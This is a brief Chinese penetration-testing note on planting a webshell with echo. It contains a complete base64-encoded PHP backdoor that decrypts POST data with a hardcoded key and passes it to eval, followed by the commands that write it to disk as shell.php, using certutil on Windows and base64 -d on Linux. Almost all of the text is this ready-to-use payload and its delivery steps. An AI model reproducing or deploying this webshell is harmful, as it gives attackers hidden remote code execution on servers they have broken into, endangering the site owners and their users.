echo 写马方式

渗透测试
40

Windows 下

先把 webshell 进行 base64 编码

PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7CgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8+

将其写入到任意文件，比如：

echo base64编码的webshell > test.txt

然后利用 certutil 对其进行解码，生成新的 php 文件

certutil -f -decode test.txt shell.php

Linux 下

Linux 下就简单很多了，一条命令搞定

echo -n "MTExMTEx" | base64 -d > 1.txt